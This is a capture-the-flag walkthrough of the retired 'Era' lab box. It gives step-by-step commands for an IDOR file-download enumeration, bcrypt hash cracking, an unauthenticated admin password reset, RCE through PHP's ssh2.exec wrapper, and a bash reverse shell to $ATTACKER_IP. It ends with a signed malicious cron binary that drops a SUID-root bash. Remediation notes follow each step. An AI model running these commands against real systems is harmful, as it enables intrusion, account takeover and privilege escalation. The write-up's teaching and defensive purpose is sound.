Era
Summary
I enumerated the file.era.htb file-sharing application, registered a disposable account, and abused a sequential-ID IDOR on the download endpoint to pull every other user's files - including an internal source-code/database backup and a private code-signing key. Cracking the leaked SQLite password hashes yielded working credentials for two local accounts, and an unauthenticated password-reset endpoint let me take over the admin account outright. From the admin panel, an unsanitized file-format parameter reached PHP's stream-wrapper layer, and with the ssh2 extension loaded this allowed remote command execution over loopback SSH using one of the cracked credentials - producing an interactive foothold.
The same cracked credentials were reused for a second local account to read user.txt. Finally, a root cron job executed a group-writable binary that was only protected by a home-grown signature check keyed to the private key leaked earlier; forging a valid signature over a malicious payload and dropping it in place gave me a SUID-root shell and root.txt.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <id>, <yours> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirm open ports and service banners.
$ nmap -Pn -sC -sV -p- $TARGETAdd the discovered vhosts to local resolution.
$ echo "$TARGET era.htb file.era.htb" | sudo tee -a /etc/hostsFingerprint the app's forms/pages.
$ curl -s -H 'Host: file.era.htb' http://$TARGET/register.php | grep -Eio '(<form[^>]*>|<input[^>]*>|<button[^>]*>)'Exact commands 2
Register a disposable account.
$ curl -s -H 'Host: file.era.htb' -c cookie.jar -b cookie.jar http://$TARGET/register.php --data-urlencode 'username=pwn0904b' --data-urlencode "password=$PASSWORD"Log in; captures the PHPSESSID session cookie.
$ curl -s -i -H 'Host: file.era.htb' -c cookie.jar -b cookie.jar http://$TARGET/login.php --data-urlencode 'submitted=true' --data-urlencode 'username=pwn0904b' --data-urlencode "password=$PASSWORD"Exact commands 3
Enumerate every downloadable id regardless of owner.
$ ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -H 'Cookie: PHPSESSID=<yours>' -w <(seq 0 5200) -fr 'File Not Found'Pull the app source + SQLite backup.
$ curl -s -H 'Host: file.era.htb' -b cookie.jar "http://$TARGET/download.php?id=54" -o site-backup.zipPull the leaked private signing key.
$ curl -s -H 'Host: file.era.htb' -b cookie.jar "http://$TARGET/download.php?id=150" -o signing.zipFixEnforce per-user ownership checks on file downloadsCritical
Exact commands 3
Extract the bcrypt hashes from the leaked DB.
$ unzip site-backup.zip -d backup && sqlite3 backup/filedb.sqlite 'select username,password from users;'Crack bcrypt ($2y$) hashes.
$ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txtRecover plaintext: eric's password, yuri's password.
$ hashcat -m 3200 hashes.txt --showFixEnforce strong, non-reused passwords and stop reusing web-app credentials for OS accountsHigh
Exact commands 2
Overwrite the admin account's security answers; <ADMIN_USERNAME> is read from filedb.sqlite.
$ curl -s -i 'http://file.era.htb/reset.php' --data "username=<ADMIN_USERNAME>&new_answer1=$PASSWORD7&new_answer2=$PASSWORD7&new_answer3=$PASSWORD7"Log in as admin using the just-set answers.
$ curl -s -i -c admin.jar -b admin.jar 'http://file.era.htb/security_login.php' --data "answer1=$PASSWORD7&answer2=$PASSWORD7&answer3=$PASSWORD7"FixRequire proof of account ownership before changing security-recovery answersCritical
Exact commands 3
Confirm command execution as yuri via the ssh2.exec wrapper (trailing ';' shields appended junk).
$ curl -s "http://file.era.htb/download.php?id=<id>&show=true&format=ssh2.exec://$USERNAME:$PASSWORD6@127.0.0.1:22/id;"Swap in a reverse shell command; catch it with nc -lvnp 443.
$ curl -s "http://file.era.htb/download.php?id=<id>&show=true&format=ssh2.exec://$USERNAME:$PASSWORD6@127.0.0.1:22/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/$ATTACKER_IP/443%200%3E%261%27;"Run in the resulting shell to prove the foothold: uid=1001(yuri).
$ id
uid=1001(yuri) gid=1002(yuri)FixNever pass user input into a PHP stream-wrapper sinkCritical
Exact commands 2
Password: $PASSWORD (cracked from filedb.sqlite).
$ su - ericProve privilege context, then read the flag: <user.txt>.
$ id; cat /home/eric/user.txt
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)Exact commands 6
Observe the root cron invoking /opt/AV/periodic-checks/monitor every minute.
$ ./pspy64Build a payload that drops a SUID-root bash.
$ printf '%s' 'int main(){setuid(0);setgid(0);system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf");}' > x.c && gcc x.c -o monitorSign the payload with the leaked private key, matching the app's custom verification scheme.
$ openssl dgst -sha256 -sign key.pem -out sig monitor && objcopy --add-section .text_sig=sig monitor monitor_signedOverwrite the group-writable root-cron target.
$ cp monitor_signed /opt/AV/periodic-checks/monitorWait for the cron tick, then prove root: euid=0(root).
$ sleep 60; /tmp/0xdf -p -c 'id'Read the root flag: <root.txt>.
$ /tmp/0xdf -p -c 'cat /root/root.txt'FixRemove group-write access from root-executed binaries and stop storing the signing key in application backupsCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 21/tcp | ftp recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.